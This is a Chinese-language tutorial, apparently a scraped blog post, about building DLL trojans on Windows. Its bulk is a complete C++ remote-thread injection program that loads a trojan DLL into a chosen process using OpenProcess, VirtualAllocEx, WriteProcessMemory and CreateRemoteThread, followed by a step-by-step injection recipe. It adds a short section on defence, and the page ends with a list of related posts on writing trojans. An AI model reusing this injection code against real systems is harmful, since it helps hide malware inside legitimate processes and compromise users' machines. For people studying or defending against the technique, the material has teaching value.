用C++编写的木马程序

<>

DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性,就不再是正常的DLL程序,而是DLL木马,一种恶贯满盈的病毒,令特洛伊一夜之间国破家亡。 
DLL木马的原理
DLL木马的实现原理是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的DLL,最终达到侵袭目标系统的目的。
正是DLL程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:
(1)DLL程序被映射到宿主进程的地址空间中,它能够共享宿主进程的资源,并根据宿主进程在目标主机的级别非法访问相应的系统资源;
(2)DLL程序没有独立的进程地址空间,从而可以避免在目标主机中留下"蛛丝马迹",达到隐蔽自身的目的。
DLL木马实现了"真隐藏",我们在任务管理器中看不到木马"进程",它完全溶进了系统的内核。与"真隐藏"对应的是"假隐藏","假隐藏"木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程,但是"假隐藏"木马本质上还具备独立的进程空间。"假隐藏"只适用于Windows9x的系统,对于基于WINNT的操作系统,通过服务管理器,我们可以发现系统中注册过的服务。
DLL木马注入其它进程的方法为远程线程插入。
远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以DLL的形式实现后,需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间,即利用该线程通过调用Windows API LoadLibrary函数来加载木马DLL,从而实现木马对系统的侵害。
DLL木马注入程序
这里涉及到一个非常重要的Windows API――CreateRemoteThread。与之相比,我们所习惯使用的CreateThread API函数只能在进程自身内部产生一个新的线程,而且被创建的新线程与主线程共享地址空间和其他资源。而CreateRemoteThread则不同,它可以在另外的进程中产生线程!CreateRemoteThread有如下特点:
(1)CreateRemoteThread较CreateThread多一个参数hProcess,该参数用于指定要创建线程的远程进程,其函数原型为:
HANDLE CreateRemoteThread(
HANDLE hProcess, //远程进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
(2)线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说,我们不能想当然地自己写一个函数,并把这个函数作为远程线程的入口函数;
(3)不能把本进程的指针作为CreateRemoteThread的参数,因为本进程的内存空间与远程进程的不一样。
以下程序由作者Shotgun的DLL木马注入程序简化而得(单击此处下载,在经典书籍《Windows核心编程》中我们也可以看到类似的例子),它将d盘根目录下的troydll.dll插入到ID为4000的进程中:
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
void CheckError ( int, int, char *); //出错处理函数
PDWORD pdwThreadId; 
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
dwRemoteProcessId = 4000; 
strcpy(lpDllFullPathName, "d:\\troydll.dll");
//将DLL文件全路径的ANSI码转换成UNICODE码
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程 
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE, //允许VM写
FALSE, dwRemoteProcessId ); 
CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!");
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//计算LoadLibraryW的入口地址 
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//启动远程线程,通过远程线程调用用户的DLL文件 
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待远程线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL) 
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL) 
{
CloseHandle(hRemoteProcess);
}
}
//错误处理函数CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode)
{
printf("%s Error:%d\n\n", pErrorMsg, GetLastError());
//清场处理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL) 
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
exit(0);
}
}
从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为:
(1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;
(2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;
(3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:
a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;
b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;
c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。
(4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;
(5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;
(6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;
(7)清理现场。
DLL木马的防治
从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式,这可以帮助我们更好地理解DLL木马病毒的防治手段。
一般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。 
对于DLL木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL,如果其中有一些莫名其妙的DLL,则可以断言这个进程是宿主进程,系统被植入了DLL木马。"道高一尺,魔高一丈",现如今,DLL木马也发展到了更高的境界,它们看起来也不再"莫名其妙"。在最新的一些木马里面,开始采用了先进的DLL陷阱技术,编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL;对于一些事先约定好的特殊情况,DLL会执行一些相应的操作。
本文给出的只是DLL木马最简单情况的介绍,读者若有兴趣深入研究,可以参考其它资料

用C++编写的木马程序相关推荐

  1. python编写木马攻击_Python编写简易木马程序

    Python编写简易木马程序 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 + ...

  2. Python编写简易木马程序

    0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 +JEDI(python自动补全 ...

  3. 用python做一个木马_Python编写简易木马程序

    light · 2015/01/26 10:07 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Subli ...

  4. 如何使用Python编写简易木马程序

    这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码. 首先 准备好我们需要的依赖库,pytho ...

  5. python编写木马攻击_用Python写一个自动木马程序

    电脑作为大家日常办公的工具,最怕的一件事情之一就是被偷,当我们的电脑被盗的时候,不仅仅是电脑本身,更重要的是电脑存储的资料都会丢失.如何尽快的找回电脑需要我们想点办法,今天就教大家一个好的技巧,虽说不 ...

  6. python编写木马攻击_用python开发木马程序

    41.木马是什么?木马能干什么? 2.本木马程序实现的功能是什么? 记录键盘输入.屏幕截图.将数据发送指定服务器 3.如何实现linux下的多线程? 4.python的与键盘相关的外部调用模块.网络模 ...

  7. 《Java编码指南:编写安全可靠程序的75条建议》—— 指南20:使用安全管理器创建一个安全的沙盒...

    本节书摘来异步社区<Java编码指南:编写安全可靠程序的75条建议>一书中的第1章,第1.20节,作者:[美]Fred Long(弗雷德•朗), Dhruv Mohindra(德鲁•莫欣达 ...

  8. 用python做一个木马_Python编程简单的木马程序(转载于乌云中)

    Python编程简单的木马程序 light·2015/01/26 10:07 0x00准备好了 本文的内容仅用于研究和研究,不得用于非法目的! 这一次,我们使用Python编写了一个简单的木马,它具有 ...

  9. 木马程序,原来还有发展,现在居然还有好多代?

    目录 木马程序技术 第一代 第二代 第三代 第四代 第五代 第六代 木马程序技术 木马程序技术发展可以说非常迅速.主要是有些年轻人出于好奇,或是急于显示自己实力,不断改进木马程序的编写.至今木马程序已 ...

最新文章

  1. 只在必要时保存服务器控件视图状态
  2. 微生物组学研究的可再现性、可重现性、稳定性与普适性
  3. 前端面试题:算法-冒泡排序
  4. Maven 修改本地存储库位置--转
  5. 初学计算几何(四)——初识凸包
  6. Js 枚举定义Layer Icon
  7. php高等数学,中国大学《高等数学(四)》期末答案高校邦《PHP语言程序设计》见面课答案...
  8. 【LeetCode笔记】461. 汉明距离(Java、位运算)
  9. 2019 ICPC南京站总结
  10. 关于下载(前后端)第1部分
  11. ApowerREC v1.5.6.2 最佳屏幕录像机
  12. VLD在VS2019中的使用以及应用程序无法正常启动(0xc0150002)
  13. 利用selenium webdriver下载不同类型的文件(pdf,txt等等)
  14. 流程控制语句swtch
  15. 海水淡化三十年打磨一把反渗透膜“利剑”
  16. Pr:创建和使用收录预设
  17. python播放音乐同步歌词范晓萱_同步_范晓萱_高音质在线试听_同步歌词|歌曲下载_酷狗音乐...
  18. 功率MOSFET的正向导通等效电路
  19. 搭建自己的NAS 系统
  20. Rabbitmq客户端接收消息为字符数组解决

热门文章

  1. 2020/11/6 记录问题--2
  2. 如何花更少的时间学习更多的知识
  3. 一个月的工作要求一周完成,咋办?
  4. 电路仿真软件详谈(24),基于proteus电路仿真软件的电压表印刷电路板设计
  5. canvas实践——绘制刮刮卡
  6. HTTP计算机网络自顶向下+wireshark lab
  7. 三十而立再出发 六十六载谱芳华 | 吉林大学举行交通学院成立30周年暨交通学科创建66周年庆祝大会...
  8. SQL正反向模糊查询(ORACLE)
  9. golang 的 strings.TrimLeft 有个 bug,用strings.TrimPrefix代替
  10. Find My iPhone勒索手段重现 针对美欧用户